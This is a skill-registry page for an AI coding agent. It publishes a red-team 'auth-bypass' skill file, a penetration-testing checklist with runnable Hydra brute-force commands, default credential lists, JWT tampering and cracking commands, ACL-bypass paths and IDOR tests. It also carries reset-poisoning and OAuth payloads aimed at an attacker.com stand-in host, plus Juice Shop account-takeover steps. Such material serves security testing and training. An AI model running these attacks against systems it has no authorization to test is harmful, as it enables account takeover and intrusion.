neothecapt/redteamagent/auth-bypass

Claude Code and agent skill by neothecapt/redteamagent

Trust tier 2
  • community
LLM review pending
Source check pending

Checking that the SKILL.md file is still in the repository.

Test for authentication and authorization flaws including credential attacks, session issues, and access control bypasses

Install

npx vskill@latest install neothecapt/redteamagent/auth-bypass

SKILL.md

The same SKILL.md was published earlier as neothecapt/redteamagent/auth-bypass.

Authentication & Authorization Bypass

When to Activate

  • Login/register/reset forms, protected resources, admin panels
  • Token/session/API key auth, role-based access, JWT/OAuth

Authentication Testing

1. Default/Weak Credentials
admin:admin admin:password admin:123456 root:root root:toor test:test guest:guest

Check username enumeration: different errors for valid/invalid users, timing diffs, selective lockout.

2. Brute Force (Hydra)
bash
run_tool hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid credentials"
run_tool hydra -l admin -P /usr/share/wordlists/rockyou.txt target http-get /admin
run_tool hydra -l root -P passwords.txt target ssh -t 4
# Rate-limited: -t 1 -W 5
3. Password Reset Flaws
  • Predictable/reusable/non-expiring tokens, token not tied to account
  • Host header injection: Host: attacker.com in reset request
  • Parameter pollution: email=victim@mail.com&email=attacker@mail.com
  • CTF/Juice Shop-style recovery chains: when /rest/user/security-question, /rest/user/reset-password, or exposed backup/source artifacts exist, do not stop at "unknown answer". Correlate answers from source bundles, /ftp backups, incident files, leaked credentials, and OSINT hints; replay reset for high-value users such as admin@juice-sh.op, bjoern@owasp.org, support/admin accounts, then immediately verify login and record the solved challenge/finding evidence.
  • For Juice Shop Bjoern's Favorite Pet / Bjoern reset recall, treat a single wrong answer (for example one Zatschi attempt) as incomplete. Before closure, enumerate candidate pet answers from source bundles, comments, profile metadata, /ftp documents, and OSINT snippets, try the highest-confidence candidate set in a bounded pass, and if still blocked return REQUEUE with the exact candidate list and artifacts checked.
  • If reset remains blocked, emit an explicit REQUEUE_CANDIDATE naming the missing answer source and the exact endpoints/artifacts already checked, so a later source-analysis or exploit pass can finish the chain instead of retiring it silently.
4. Session Management
  • Session fixation: force token onto victim, use after auth
  • Token analysis: collect 20+ tokens, check entropy/predictability/sequential patterns
  • Invalidation: test logout, password change
  • Cookie flags: check HttpOnly, Secure, SameSite, Domain/Path scope
5. MFA Bypass
  • Direct navigation to post-auth pages, code brute-force (no rate limit), code reuse
  • Response manipulation ("success":false → true), backup code enumeration
  • MFA not enforced on all auth paths, disable without re-auth

Authorization Testing

1. IDOR
GET /api/user/1001/profile → /api/user/1002/profile # Horizontal
GET /invoice?id=5001 → ?id=5002
# Test: sequential IDs, leaked UUIDs, Base64 decode/modify/re-encode
# param pollution: ?id=1001&id=1002, method swap: GET→PUT/DELETE
# Vertical: regular user → admin endpoints
2. Forced Browsing
/admin /admin/dashboard /console /debug /internal /api/admin/users /graphql

Check if 302 redirect body contains protected content (curl without -L).

3. HTTP Method Tampering
GET /admin/delete → 403, POST /admin/delete → 200
# Override headers: X-HTTP-Method-Override, X-Method-Override, X-Original-Method
4. Path Traversal for ACL Bypass
/admin→403 /ADMIN→200 /admin/→200 /./admin→200 /admin;.js→200
/%2fadmin→200 /admin%20→200 /admin..;/→200 (Tomcat/Spring)
5. JWT Attacks
bash
# Decode: echo "HEADER_B64" | base64 -d
# None algorithm: {"alg":"none"}, remove signature → HEADER.PAYLOAD.
# Weak secret: hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# Payload: change role/sub/exp claims
# Key injection: kid="../../dev/null" → sign with empty secret
# jku: point to attacker JWK set URL
jwt_tool TOKEN -T # Tamper
jwt_tool TOKEN -C -d wordlist.txt # Crack
6. OAuth/SSO Flaws
  • Open redirect in redirect_uri (steal auth code): redirect_uri=https://attacker.com
  • Missing state param (CSRF), token leakage via Referer, scope escalation
7. Role/Privilege Manipulation
POST /register {"username":"test","password":"test","role":"admin"}
PUT /api/profile {"name":"test","role":"admin","is_staff":true} # Mass assignment
# Trust headers: X-Forwarded-For: 127.0.0.1, X-Original-URL: /admin

Methodology Checklist

  1. Map all auth endpoints (login, register, reset, logout, MFA, OAuth)
  2. Create accounts at each privilege level
  3. Test each privileged action with lower/no-auth sessions
  4. Swap tokens between privilege levels
  5. Test every object reference with other accounts' IDs
  6. Check JWT/token security
  7. Test session lifecycle: fixation, expiration, invalidation

Security

  • Security scanPassed, 100 of 100Pattern checks on the skill's files.
  • Model reviewNot runA model review is scheduled for the next rescan.

Quality evaluation

  • Task evaluationNot runNo evaluation yet. Run one in Skill Studio.

Source

Popularity

Repository stars
70
Repository forks
13
7-day trend score
21

Stars and forks are for the whole GitHub repository, not this skill alone. Refreshed 24 May 2026, 6 months ago.

Works with

Any agent vskill installs to: 56 targets in all. These 39 have a page on this site.

  • Claude Code
  • Grok Build (Cursor)
  • GitHub Copilot
  • Windsurf
  • Codex
  • Gemini CLI
  • Cline
  • Amp
  • Roo Code
  • Goose
  • Continue
  • Kilo Code
  • Junie
  • Trae
  • OpenHands
  • Qwen Code
  • AI Agent
  • Tabnine Chat
  • Sourcegraph Cody
  • Amazon Q
  • Firebase Genkit
  • Sweep
  • Devin
  • Phind
  • Mentat
  • Claude Desktop
  • Aider
  • GPT Pilot
  • Plandex
  • bolt.new
  • v0
  • Replit Agent
  • Anse
  • TypingMind
  • BetterChatGPT
  • LibreChat
  • Warp AI
  • Pieces
  • Fig AI
Embed badge
vskill VERIFIED badge
[![vskill VERIFIED](https://verified-skill.com/api/v1/skills/neothecapt/redteamagent/auth-bypass/badge)](https://verified-skill.com/skills/neothecapt/redteamagent/auth-bypass)

Something wrong with this skill or its page? Tell us.